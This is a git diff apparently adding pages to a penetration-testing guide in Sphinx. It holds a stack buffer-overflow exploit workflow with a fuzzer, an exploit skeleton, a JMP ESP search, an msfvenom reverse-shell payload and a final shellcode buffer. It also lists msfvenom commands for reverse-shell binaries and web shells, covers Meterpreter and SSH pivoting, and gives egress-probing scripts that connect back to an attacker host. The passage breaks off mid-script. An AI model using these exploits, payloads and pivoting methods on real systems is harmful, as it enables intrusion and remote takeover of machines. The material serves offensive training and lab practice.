manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + (master_doc, 'penetrationtestingguide', 'Penetration Testing Guide Documentation', + [author], 1) +] + + +# -- Options for Texinfo output ---------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + (master_doc, 'PenetrationTestingGuide', 'Penetration Testing Guide Documentation', + author, 'PenetrationTestingGuide', 'One line description of project.', + 'Miscellaneous'), +] + + +# -- Options for Epub output ------------------------------------------------- + +# Bibliographic Dublin Core info. +epub_title = project + +# The unique identifier of the text. This can be a ISBN number +# or the project homepage. +# +# epub_identifier = '' + +# A unique identification for the text. +# +# epub_uid = '' + +# A list of files that should not be packed into the epub file. +epub_exclude_files = ['search.html'] + + +# -- Extension configuration ------------------------------------------------- + +# -- Options for todo extension ---------------------------------------------- + +# If true, `todo` and `todoList` produce output, else they produce nothing. +todo_include_todos = True + +def setup(app): + app.add_stylesheet('css/custom.css') diff --git a/exploits/buffer-overflows.rst b/exploits/buffer-overflows.rst new file mode 100644 index 0000000..c286536 --- /dev/null +++ b/exploits/buffer-overflows.rst @@ -0,0 +1,245 @@ +################ +Buffer Overflows +################ + +* https://bytesoverbombs.io/exploiting-a-64-bit-buffer-overflow-469e8b500f10 +* https://www.abatchy.com/2017/05/jumping-to-shellcode.html +* http://www.voidcn.com/article/p-ulyzzbfx-z.html +* https://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/ +* https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982 + +Immunity Debugger +================= + +**Always run Immunity Debugger as Administrator if you can.** + +There are generally two ways to use Immunity Debugger to debug an application: + +1. Make sure the application is running, open Immunity Debugger, and then use :code:`File -> Attach` to attack the debugger to the running process. +2. Open Immunity Debugger, and then use :code:`File -> Open` to run the application. + +When attaching to an application or opening an application in Immunity Debugger, the application will be paused. Click the "Run" button or press F9. + +Note: If the binary you are debugging is a Windows service, you may need to restart the application via :code:`sc` + +.. code-block:: none + + sc stop SLmail + sc start SLmail + +Some applications are configured to be started from the service manager and will not work unless started by service control. + +Mona Setup +========== + +Mona is a powerful plugin for Immunity Debugger that makes exploiting buffer overflows much easier. Download: :download:`mona.py <../_static/files/mona.py>` + +| The latest version can be downloaded here: https://github.com/corelan/mona +| The manual can be found here: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ + +Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands). + +In Immunity Debugger, type the following to set a working directory for mona. + +.. code-block:: none + + !mona config -set workingfolder c:\mona\%p + +Fuzzing +======= + +The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application. + +.. code-block:: python + + import socket, time, sys + + ip = "10.0.0.1" + port = 21 + timeout = 5 + + # Create an array of increasing length buffer strings. + buffer = [] + counter = 100 + while len(buffer) < 30: + buffer.append("A" * counter) + counter += 100 + + for string in buffer: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + connect = s.connect((ip, port)) + s.recv(1024) + s.send("USER username\r\n") + s.recv(1024) + + print("Fuzzing PASS with %s bytes" % len(string)) + s.send("PASS " + string + "\r\n") + s.recv(1024) + s.send("QUIT\r\n") + s.recv(1024) + s.close() + except: + print("Could not connect to " + ip + ":" + str(port)) + sys.exit(0) + time.sleep(1) + +Check that the EIP register has been overwritten by A's (\\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten. + +Crash Replication & Controlling EIP +=================================== + +The following skeleton exploit code can be used for the rest of the buffer overflow exploit: + +.. code-block:: python + + import socket + + ip = "10.0.0.1" + port = 21 + + offset = 0 + overflow = "A" * offset + retn = "" + padding = "" + payload = "" + + buffer = overflow + retn + padding + payload + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + s.connect((ip, port)) + data = s.recv(1024) + print("Sending evil buffer...") + s.send(buffer + "\r\n") + print("Done!") + except: + print("Could not connect.") + +Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point. Create a pattern that is 400 bytes larger than the crash buffer, so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn't crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space. + +.. code-block:: none + + $ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600 + Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag + +While the unique buffer is on the stack, use mona's findmsp command, with the distance argument set to the pattern length. + +.. code-block:: none + + !mona findmsp -distance 600 + ... + [+] Looking for cyclic pattern in memory + Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes) + Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes) + Cyclic pattern (normal) found at 0x017df764 (length 600 bytes) + EIP contains normal pattern : 0x78413778 (offset 112) + ESP (0x017dfa30) points at offset 116 in normal pattern (length 484) + EAX (0x017df764) points at offset 0 in normal pattern (length 600) + EBP contains normal pattern : 0x41367841 (offset 108) + ... + +Note the EIP offset (112) and any other registers that point to the pattern, noting their offsets as well. It seems like the ESP register points to the last 484 bytes of the pattern, which is enough space for our shellcode. + +Create a new buffer using this information to ensure that we can control EIP: + +.. code-block:: none + + offset = 112 + overflow = "A" * offset + retn = "BBBB" + padding = "" + payload = "C" * (600-112-4) + + buffer = overflow + retn + padding + payload + +Crash the application using this buffer, and make sure that EIP is overwritten by B's (\\x42) and that the ESP register points to the start of the C's (\\x43). + +Finding Bad Characters +====================== + +Generate a bytearray using mona, and exclude the null byte (\\x00) by default. Note the location of the bytearray.bin file that is generated. + +.. code-block:: none + + !mona bytearray -b "\x00" + +Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \\x01 to \\xff: + +.. code-block:: python + + #!/usr/bin/env python + from __future__ import print_function + + for x in range(1, 256): + print("\\x" + "{:02x}".format(x), end='') + + print() + +Put the string of bad chars before the C's in your buffer, and adjust the number of C's to compensate: + +.. code-block:: none + + badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff" + payload = badchars + "C" * (600-112-4-255) + +Crash the application using this buffer, and make a note of the address to which ESP points. This can change every time you crash the application, so get into the habit of copying it from the register each time. + +Use the mona compare command to reference the bytearray you generated, and the address to which ESP points: + +.. code-block:: none + + !mona compare -f C:\mona\appname\bytearray.bin -a
+ +Find a Jump Point +================= + +The mona jmp command can be used to search for jmp (or equivalent) instructions to a specific register. The jmp command will, by default, ignore any modules that are marked as aslr or rebase. + +The following example searches for "jmp esp" or equivalent (e.g. call esp, push esp; retn, etc.) while ensuring that the address of the instruction doesn't contain the bad chars \\x00, \\x0a, and \\x0d. + +.. code-block:: none + + !mona jmp -r esp -b "\x00\x0a\x0d" + +The mona find command can similarly be used to find specific instructions, though for the most part, the jmp command is sufficient: + +.. code-block:: none + + !mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -b "\x00\x0a\x0d" + +Generate Payload +================ + +Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously: + +.. code-block:: none + + msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b "\x00\x0a\x0d" -f c + +Prepend NOPs +============ + +If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\\x90) to the payload. + +Final Buffer +============ + +.. code-block:: none + + offset = 112 + overflow = "A" * offset + retn = "\x56\x23\x43\x9A" + padding = "" + payload = "\x90" * 16 + "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..." + + buffer = overflow + retn + padding + payload + +Buffer Overflow Practice +======================== + +* https://github.com/justinsteven/dostackbufferoverflowgood +* https://github.com/stephenbradshaw/vulnserver +* https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/ diff --git a/exploits/exploit-searching.rst b/exploits/exploit-searching.rst new file mode 100644 index 0000000..53e4016 --- /dev/null +++ b/exploits/exploit-searching.rst @@ -0,0 +1,14 @@ +================= +Exploit Searching +================= + +searchsploit +------------ + +Searches local exploit-db sources. Note that multiple search terms get combined with "AND" in search. + +.. code-block:: none + + $ searchsploit [search-terms] + +If you have a service which a version number (e.g. Apache 2.3.2), always try multiple searches by removing the right-most version number each time, e.g. Apache 2.3, Apache 2, etc. diff --git a/exploits/metasploit-payloads.rst b/exploits/metasploit-payloads.rst new file mode 100644 index 0000000..8fb403a --- /dev/null +++ b/exploits/metasploit-payloads.rst @@ -0,0 +1,106 @@ +=================== +Metasploit Payloads +=================== + +Binaries +-------- + +**Linux** + +.. code-block:: bash + + msfvenom -p linux/x86/shell/reverse_tcp -f elf > shell.elf # staged + msfvenom -p linux/x86/shell_reverse_tcp -f elf > shell.elf # stageless + + msfvenom -p linux/x64/shell/reverse_tcp -f elf > shell.elf # staged + msfvenom -p linux/x64/shell_reverse_tcp -f elf > shell.elf # stageless + +**Windows** + +.. code-block:: bash + + msfvenom -p windows/shell/reverse_tcp -f exe > shell.exe # staged + msfvenom -p windows/shell_reverse_tcp -f exe > shell.exe # stageless + + msfvenom -p windows/x64/shell/reverse_tcp -f exe > shell.exe # staged + msfvenom -p windows/x64/shell_reverse_tcp -f exe > shell.exe # stageless + +**Mac** + +.. code-block:: bash + + msfvenom -p osx/x86/shell_reverse_tcp -f macho > shell.macho # stageless + + msfvenom -p osx/x64/shell_reverse_tcp -f macho > shell.macho # stageless + +Web Payloads +------------ + +**PHP** + +.. code-block:: bash + + msfvenom -p php/reverse_php -f raw > shell.php + +**ASP** + +.. code-block:: bash + + msfvenom -p windows/shell/reverse_tcp -f asp > shell.asp + +**JSP** + +.. code-block:: bash + + msfvenom -p java/jsp_shell_reverse_tcp -f raw > shell.jsp + +**WAR** + +.. code-block:: bash + + msfvenom -p java/jsp_shell_reverse_tcp -f war > shell.war + +Scripting Payloads +------------------ + +**Python** + +.. code-block:: bash + + msfvenom -p cmd/unix/reverse_python -f raw > shell.py + msfvenom -p python/shell_reverse_tcp -f raw > shell.py + +**Bash** + +.. code-block:: bash + + msfvenom -p cmd/unix/reverse_bash -f raw > shell.sh + msfvenom -p cmd/unix/reverse_bash_telnet_ssl -f raw > shell.sh + +**Perl** + +.. code-block:: bash + + msfvenom -p cmd/unix/reverse_perl -f raw > shell.pl + msfvenom -p cmd/windows/reverse_perl -f raw > shell.pl + +Shellcode +--------- + +**Linux Based Shellcode** + +.. code-block:: bash + + msfvenom -p linux/x86/shell/reverse_tcp -f + +**Windows Based Shellcode** + +.. code-block:: bash + + msfvenom -p windows/shell/reverse_tcp -f + +**Mac Based Shellcode** + +.. code-block:: bash + + msfvenom -p osx/x86/shell_reverse_tcp -f diff --git a/exploits/pivoting.rst b/exploits/pivoting.rst new file mode 100644 index 0000000..388f27c --- /dev/null +++ b/exploits/pivoting.rst @@ -0,0 +1,176 @@ +######## +Pivoting +######## + +Meterpreter / Metasploit +======================== + +With a meterpreter session running, use the following command to get Metasploit to add some automatic routes through to the new network: + +.. code-block:: none + + run post/multi/manage/autoroute + +Now backround the meterpreter session and run the following in Metasploit. + +.. code-block:: none + + use auxiliary/server/socks4a + set SRVHOST 127.0.0.1 + run -j + +This will set up a socks4a server bound to your local port 1080 by default. You can use auxiliary/server/socks5 if it works better. + +Keep Metasploit running! + +Add the following line to /etc/proxychains4.conf: + +.. code-block:: none + + socks4 127.0.0.1 1080 + +Now we can proxy nmap scans (and other tools): + +.. code-block:: none + + proxychains nmap -vv -Pn -sT 10.3.3.42 + +Use the -sT option with nmap, it will do connect scans which work through proxychains. If nmap is slow, scan reduced numbers of ports, and then scan any open ports individually with scripts, etc. + +Meterpreter can also be used to forward ports: + +.. code-block:: none + + portfwd add -l -p -r + +SSH +=== + +Local Port Forwarding +--------------------- + +Local port forwarding can be used to forward traffic from a local port on your computer to a port on another computer, via SSH. The syntax for this command is: + +.. code-block:: bash + + ssh -L :: user@ + +Note that the doesn't have to be the same as the , but can be. For example, if a remote host, say 10.1.1.1 can access an HTTP server on 10.3.3.3 which you cannot, you can perform the following command: + +.. code-block:: bash + + ssh -L 4000:10.3.3.3:80 user@10.1.1.1 + +Now you can point your web browser at 127.0.0.1:4000 and you will be able to access the web server at 10.3.3.3. + +Another example is less complicated. Say that the remote host (10.1.1.1) has a service (443) which is only listening for local traffic. We can do the following: + +.. code-block:: bash + + ssh -L 4000:127.0.0.1:443 user@10.1.1.1 + +Note that in this command, 127.0.0.1 refers to 10.1.1.1 itself. + +The -L option can be used multiple times in the same command, so that multiple port forwards can be used over the same SSH session. The local port must be different for each one. + +Remote Port Forwarding +---------------------- + +Remote port forwarding is the opposite of local port forwarding. Traffic sent to the remote port (on the SSH server) is sent over the SSH connection to the destination port of the destination host. + +.. code-block:: bash + + ssh -R :: user@ + +For example, if you want 10.3.3.3 to access a web server on your computer, you can do the following: + +.. code-block:: bash + + ssh -R 4000:127.0.0.1:80 user@10.1.1.1 + +10.3.3.3 can now access your local port 80 by connecting to 10.1.1.1:4000 instead. + +Within an SSH Session +--------------------- + +If you already have an established SSH session and you'd like to add port forwarding to that session, type: + +.. code-block:: none + + ~C + +You will then be presented with an SSH prompt. From here you can enter any of these commands. e.g. :code:`L ::` + +Dynamic Port Forwarding +----------------------- + +Dynamic port forwarding is like local port forwarding, except instead of forwarding traffic to specific destination hosts and ports, it allows use to proxy any traffic to any destination host / port, using a SOCKS proxy. + +.. code-block:: bash + + ssh -D user@ + +Now we can configure a proxy within our tool (or use proxychains, etc.) to send all traffic over our local port. + +Reverse Dynamic Port Forwarding +------------------------------- + +Useful if you can't connect to a remote host directly via SSH, but can connect back to your local machine with SSH. Note, for this you will require two sessions on the remote host, and either access to a remote user with an SSH key, or a remote user's credentials (or create a remote user if you have permissions!). + +First run the following on the remote host: + +.. code-block:: bash + + ssh -R 12345:localhost:12345 user@ + +This will forward port 12345 of the remote host to your local port 12345. In essence, any traffic you send to your local port 12345 will get sent to port 12345 on the remote host via SSH. Note that "localhost" in the command actually refers to the remote host. + +In the second session, run the following command on the remote host: + +.. code-block:: bash + + ssh -D 12345 @localhost + +This connects back to the remote host (localhost) using SSH, and binds a socks proxy to port 12345. Since we have forwarded our local traffic to this port, we can now proxy our tools through our local port 12345 and it should get sent to the socks proxy running on the remote host. + +Master Sockets +-------------- + +SSH has an additional feature to create socket files for an established SSH session. This is useful if you have backgrounded an SSH session but still need to execute commands on the remote system. + +Start by creating a backgrounded session: + +.. code-block:: bash + + ssh -Nf -M -S ~/ssh.socket root@192.1681.1 + +.. code-block:: none + + -N tells ssh not to execute a command. + -f backgrounds the session. + -M for master socket mode. + -S creates a socket file. + +Later, if you need to execute commands on the remote system, or extend any port forwarding, you can interact with the socket file and pass commands: + +.. code-block:: bash + + ssh -S ~/ssh.socket -L 4444:10.3.3.3:22 root@10.1.1.1 "ps -ef" + +The above command creates a local port (4444) that forwards to 10.3.3.3 on port 22, and additionally executes :code:`ps -ef` on 10.1.1.1. + +Disable Shell +------------- + +All of the above commands will also open up a shell on the SSH server when you connect. You can disable this by using the -N option. + +Proxychains "Compatible" Tools +------------------------------ + +The following tools work, at least in some configuration, with proxychains. + +* nmap (when using -sT) +* nikto +* dirb +* rdesktop +* smbclient diff --git a/exploits/process-migration.rst b/exploits/process-migration.rst new file mode 100644 index 0000000..2e02c44 --- /dev/null +++ b/exploits/process-migration.rst @@ -0,0 +1,6 @@ +################# +Process Migration +################# + +* https://resources.infosecinstitute.com/poor-mans-process-migration-windows/ +* http://www.exploit-monday.com/2011/11/powersyringe-powershell-based-codedll.html diff --git a/exploits/reverse-shells.rst b/exploits/reverse-shells.rst new file mode 100644 index 0000000..581aef7 --- /dev/null +++ b/exploits/reverse-shells.rst @@ -0,0 +1,317 @@ +============== +Reverse Shells +============== + +* https://github.com/mthbernardes/rsg +* https://github.com/m0rph-1/revshellgen + +Finding a Port +-------------- + +Try common ports first, 53, 80, etc. However if you are having trouble finding a good port, fire up Wireshark and enter the following filter: + +.. code-block:: none + + ip.addr == and tcp.flags.syn == 1 + +Target IP should be the IP of the host you are trying to connect from. Warning: if this host is coming from a different network, it might be different to what ifconfig says. + +On target host, run the following: + +.. code-block:: bash + + for port in 80 23 443 21 22 25 3389 110 445 139 143 53 135 3306 8080 1723 111 995 993 5900 1025 587 8888 199 1720 465 548 113 81 6001 10000 514 5060 179 1026 2000 8443 8000 32768 554 26 1433 49152 2001 515 8008 49154 1027 5666 646 5000 5631 631 49153 8081 2049 88 79 5800 106 2121 1110 49155 6000 513 990 5357 427 49156 543 544 5101 144 7 389 8009 3128 444 9999 5009 7070 5190 3000 5432 1900 3986 13 1029 9 5051 6646 49157 1028 873 1755 2717 4899 9100 119 37 1000 3001 5001 82 10010 1030 9090 2107 1024 2103 6004 1801 5050 19 8031 1041 255 1049 1048 2967 1053 3703 1056 1065 1064 1054 17 808 3689 1031 1044 1071 5901 100 9102 8010 2869 1039 5120 4001 9000 2105 636 1038 2601 1 7000 1066 1069 625 311 280 254 4000 1761 5003 2002 2005 1998 1032 1050 6112 3690 1521 2161 6002 1080 2401 4045 902 7937 787 1058 2383 32771 1033 1040 1059 50000 5555 10001 1494 593 2301 3 3268 7938 1234 1022 1074 8002 1036 1035 9001 1037 464 497 1935 6666 2003 6543 1352 24 3269 1111 407 500 20 2006 3260 15000 1218 1034 4444 264 2004 33 1042 42510 999 3052 1023 1068 222 7100 888 563 1717 2008 992 32770 32772 7001 8082 2007 5550 2009 5801 1043 512 2701 7019 50001 1700 4662 2065 2010 42 9535 2602 3333 161 5100 5002 2604 4002 6059 1047 8192 8193 2702 6789 9595 1051 9594 9593 16993 16992 5226 5225 32769 3283 1052 8194 1055 1062 9415 8701 8652 8651 8089 65389 65000 64680 64623 55600 55555 52869 35500 33354 23502 20828 1311 1060 4443 389 1067 13782 5902 366 9050 1002 85 5500 5431 1864 1863 8085 51103 49999 45100 10243 49 6667 90 27000 1503 6881 1500 8021 340 5566 8088 2222 9071 8899 6005 9876 1501 5102 32774 32773 9101 5679 163 648 146 1666 901 83 9207 8001 8083 5004 3476 8084 5214 14238 12345 912 30 2605 2030 6 541 8007 3005 4 1248 2500 880 306 4242 1097 9009 2525 1086 1088 8291 52822 6101 900 7200 2809 800 32775 12000 1083 211 987 705 20005 711 13783 6969 3071 5269 5222 1085 1046 5987 5989 5988 2190 11967 8600 3766 7627 8087 30000 9010 7741 14000 3367 1099 1098 3031 2718 6580 15002 4129 6901 3827 3580 2144 9900 8181 3801 1718 2811 9080 2135 1045 2399 3017 10002 1148 9002 8873 2875 5718 8086 3998 2607 11110 4126 5911 5910 9618 2381 1096 3300 3351 1073 8333 3784 5633 15660 6123 3211 1078 3659 3551 2260 2160 2100 16001 3325 3323 1104 9968 9503 9502 9485 9290 9220 9011 8994 8649 8222 7911 7625 7106 65129 63331 6156 6129 60020 5962 5961 5960 5959 5925 5877 5825 5810 58080 57294 50800 50006 50003 49160 49159 49158 48080 40193 34573 34572 34571 3404 33899 3301 32782 32781 31038 30718 28201 27715 25734 24800 22939 21571 20221 20031 19842 19801 19101 17988 1783 16018 16016 15003 14442 13456 10629 10628 10626 10621 10617 10616 10566 10025 10024 10012 1169 5030 5414 1057 6788 1947 1094 1075 1108 4003 1081 1093 4449 1687 1840 1100 1063 1061 1107 1106 9500 20222 7778 1077 1310 2119 2492 1070 20000 8400 1272 6389 7777 1072 1079 1082 8402 89 691 1001 32776 1999 212 2020 6003 7002 2998 50002 3372 898 5510 32 2033 5903 99 749 425 43 5405 6106 13722 6502 7007 458 9666 8100 3737 5298 1152 8090 2191 3011 1580 5200 3851 3371 3370 3369 7402 5054 3918 3077 7443 3493 3828 1186 2179 1183 19315 19283 3995 5963 1124 8500 1089 10004 2251 1087 5280 3871 3030 62078 9091 4111 1334 3261 2522 5859 1247 9944 9943 9877 9110 8654 8254 8180 8011 7512 7435 7103 61900 61532 5922 5915 5904 5822 56738 55055 51493 50636 50389 49175 49165 49163 3546 32784 27355 27353 27352 24444 19780 18988 16012 15742 10778 4006 2126 4446 3880 1782 1296 9998 9040 32779 1021 32777 2021 32778 616 666 700 5802 4321 545 1524 1112 49400 84 38292 2040 32780 3006 2111 1084 1600 2048 2638 6699 9111 16080 6547 6007 1533 5560 2106 1443 667 720 2034 555 801 6025 3221 3826 9200 2608 4279 7025 11111 3527 1151 8200 8300 6689 9878 10009 8800 5730 2394 2393 2725 5061 6566 9081 5678 3800 4550 5080 1201 3168 3814 1862 1114 6510 3905 8383 3914 3971 3809 5033 7676 3517 4900 3869 9418 2909 3878 8042 1091 1090 3920 6567 1138 3945 1175 10003 3390 3889 1131 8292 5087 1119 1117 4848 7800 16000 3324 3322 5221 4445 9917 9575 9099 9003 8290 8099 8093 8045 7921 7920 7496 6839 6792 6779 6692 6565 60443 5952 5950 5907 5906 5862 5850 5815 5811 57797 56737 5544 55056 5440 54328 54045 52848 52673 50500 50300 49176 49167 49161 44501 44176 41511 40911 32785 32783 30951 27356 26214 25735 19350 18101 18040 17877 16113 15004 14441 12265 12174 10215 10180 4567 6100 4004 4005 8022 9898 7999 1271 1199 3003 1122 2323 4224 2022 617 777 417 714 6346 981 722 1009 4998 70 1076 5999 10082 765 301 524 668 2041 6009 1417 1434 259 44443 1984 2068 7004 1007 4343 416 2038 6006 109 4125 1461 9103 911 726 1010 2046 2035 7201 687 2013 481 125 6669 6668 903 1455 683 1011 2043 2047 31337 256 9929 5998 406 44442 783 843 2042 2045 4040 6060 6051 1145 3916 9443 9444 1875 7272 4252 4200 7024 1556 13724 1141 1233 8765 1137 3963 5938 9191 3808 8686 3981 2710 3852 3849 3944 3853 9988 1163 4164 3820 6481 3731 5081 40000 8097 4555 3863 1287 4430 7744 1812 7913 1166 1164 1165 8019 10160 4658 7878 3304 3307 1259 1092 7278 3872 10008 7725 3410 1971 3697 3859 3514 4949 4147 7900 5353; do wget -O /dev/null -T1 -t1 http://10.0.0.1:$port; done + +This will iterate over the top TCP ports in order (according to Nmap) and try to make an HTTP connection on each one. Look for a SYN packet in Wireshark, which will indicate that at the very least, the packet made it through. + +A smaller, similar (but not as good) script is below. This will iterate across the first 1024 TCP ports, rather than the most popular. + +.. code-block:: bash + + for port in $(seq 1 1024); do wget -O /dev/null -T1 -t1 http://10.0.0.1:$port; done + +Same thing for Windows (VBS script): + +.. code-block:: none + + On Error Resume Next + arr = Array(80,23,443,21,22,25,3389,110,445,139,143,53,135,3306,8080,1723,111,995,993,5900,1025,587,8888,199,1720,465,548,113,81,6001,10000,514,5060,179,1026,2000,8443,8000,32768,554,26,1433,49152,2001,515,8008,49154,1027,5666,646,5000,5631,631,49153,8081,2049,88,79,5800,106,2121,1110,49155,6000,513,990,5357,427,49156,543,544,5101,144,7,389,8009,3128,444,9999,5009,7070,5190,3000,5432,1900,3986,13,1029,9,5051,6646,49157,1028,873,1755,2717,4899,9100,119,37,1000,3001,5001,82,10010,1030,9090,2107,1024,2103,6004,1801,5050,19,8031,1041,255,1049,1048,2967,1053,3703,1056,1065,1064,1054,17,808,3689,1031,1044,1071,5901,100,9102,8010,2869,1039,5120,4001,9000,2105,636,1038,2601,1,7000,1066,1069,625,311,280,254,4000,1761,5003,2002,2005,1998,1032,1050,6112,3690,1521,2161,6002,1080,2401,4045,902,7937,787,1058,2383,32771,1033,1040,1059,50000,5555,10001,1494,593,2301,3,3268,7938,1234,1022,1074,8002,1036,1035,9001,1037,464,497,1935,6666,2003,6543,1352,24,3269,1111,407,500,20,2006,3260,15000,1218,1034,4444,264,2004,33,1042,42510,999,3052,1023,1068,222,7100,888,563,1717,2008,992,32770,32772,7001,8082,2007,5550,2009,5801,1043,512,2701,7019,50001,1700,4662,2065,2010,42,9535,2602,3333,161,5100,5002,2604,4002,6059,1047,8192,8193,2702,6789,9595,1051,9594,9593,16993,16992,5226,5225,32769,3283,1052,8194,1055,1062,9415,8701,8652,8651,8089,65389,65000,64680,64623,55600,55555,52869,35500,33354,23502,20828,1311,1060,4443,389,1067,13782,5902,366,9050,1002,85,5500,5431,1864,1863,8085,51103,49999,45100,10243,49,6667,90,27000,1503,6881,1500,8021,340,5566,8088,2222,9071,8899,6005,9876,1501,5102,32774,32773,9101,5679,163,648,146,1666,901,83,9207,8001,8083,5004,3476,8084,5214,14238,12345,912,30,2605,2030,6,541,8007,3005,4,1248,2500,880,306,4242,1097,9009,2525,1086,1088,8291,52822,6101,900,7200,2809,800,32775,12000,1083,211,987,705,20005,711,13783,6969,3071,5269,5222,1085,1046,5987,5989,5988,2190,11967,8600,3766,7627,8087,30000,9010,7741,14000,3367,1099,1098,3031,2718,6580,15002,4129,6901,3827,3580,2144,9900,8181,3801,1718,2811,9080,2135,1045,2399,3017,10002,1148,9002,8873,2875,5718,8086,3998,2607,11110,4126,5911,5910,9618,2381,1096,3300,3351,1073,8333,3784,5633,15660,6123,3211,1078,3659,3551,2260,2160,2100,16001,3325,3323,1104,9968,9503,9502,9485,9290,9220,9011,8994,8649,8222,7911,7625,7106,65129,63331,6156,6129,60020,5962,5961,5960,5959,5925,5877,5825,5810,58080,57294,50800,50006,50003,49160,49159,49158,48080,40193,34573,34572,34571,3404,33899,3301,32782,32781,31038,30718,28201,27715,25734,24800,22939,21571,20221,20031,19842,19801,19101,17988,1783,16018,16016,15003,14442,13456,10629,10628,10626,10621,10617,10616,10566,10025,10024,10012,1169,5030,5414,1057,6788,1947,1094,1075,1108,4003,1081,1093,4449,1687,1840,1100,1063,1061,1107,1106,9500,20222,7778,1077,1310,2119,2492,1070,20000,8400,1272,6389,7777,1072,1079,1082,8402,89,691,1001,32776,1999,212,2020,6003,7002,2998,50002,3372,898,5510,32,2033,5903,99,749,425,43,5405,6106,13722,6502,7007,458,9666,8100,3737,5298,1152,8090,2191,3011,1580,5200,3851,3371,3370,3369,7402,5054,3918,3077,7443,3493,3828,1186,2179,1183,19315,19283,3995,5963,1124,8500,1089,10004,2251,1087,5280,3871,3030,62078,9091,4111,1334,3261,2522,5859,1247,9944,9943,9877,9110,8654,8254,8180,8011,7512,7435,7103,61900,61532,5922,5915,5904,5822,56738,55055,51493,50636,50389,49175,49165,49163,3546,32784,27355,27353,27352,24444,19780,18988,16012,15742,10778,4006,2126,4446,3880,1782,1296,9998,9040,32779,1021,32777,2021,32778,616,666,700,5802,4321,545,1524,1112,49400,84,38292,2040,32780,3006,2111,1084,1600,2048,2638,6699,9111,16080,6547,6007,1533,5560,2106,1443,667,720,2034,555,801,6025,3221,3826,9200,2608,4279,7025,11111,3527,1151,8200,8300,6689,9878,10009,8800,5730,2394,2393,2725,5061,6566,9081,5678,3800,4550,5080,1201,3168,3814,1862,1114,6510,3905,8383,3914,3971,3809,5033,7676,3517,4900,3869,9418,2909,3878,8042,1091,1090,3920,6567,1138,3945,1175,10003,3390,3889,1131,8292,5087,1119,1117,4848,7800,16000,3324,3322,5221,4445,9917,9575,9099,9003,8290,8099,8093,8045,7921,7920,7496,6839,6792,6779,6692,6565,60443,5952,5950,5907,5906,5862,5850,5815,5811,57797,56737,5544,55056,5440,54328,54045,52848,52673,50500,50300,49176,49167,49161,44501,44176,41511,40911,32785,32783,30951,27356,26214,25735,19350,18101,18040,17877,16113,15004,14441,12265,12174,10215,10180,4567,6100,4004,4005,8022,9898,7999,1271,1199,3003,1122,2323,4224,2022,617,777,417,714,6346,981,722,1009,4998,70,1076,5999,10082,765,301,524,668,2041,6009,1417,1434,259,44443,1984,2068,7004,1007,4343,416,2038,6006,109,4125,1461,9103,911,726,1010,2046,2035,7201,687,2013,481,125,6669,6668,903,1455,683,1011,2043,2047,31337,256,9929,5998,406,44442,783,843,2042,2045,4040,6060,6051,1145,3916,9443,9444,1875,7272,4252,4200,7024,1556,13724,1141,1233,8765,1137,3963,5938,9191,3808,8686,3981,2710,3852,3849,3944,3853,9988,1163,4164,3820,6481,3731,5081,40000,8097,4555,3863,1287,4430,7744,1812,7913,1166,1164,1165,8019,10160,4658,7878,3304,3307,1259,1092,7278,3872,10008,7725,3410,1971,3697,3859,3514,4949,4147,7900,5353) + For Each port in arr + Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") + objXMLHTTP.open "GET", "http://10.0.0.1:" & port & "/", False + objXMLHTTP.send() + Set objXMLHTTP = Nothing + Next + +As a series of echo statements: + +.. code-block:: none + + echo On Error Resume Next >> ports.vbs + echo arr = 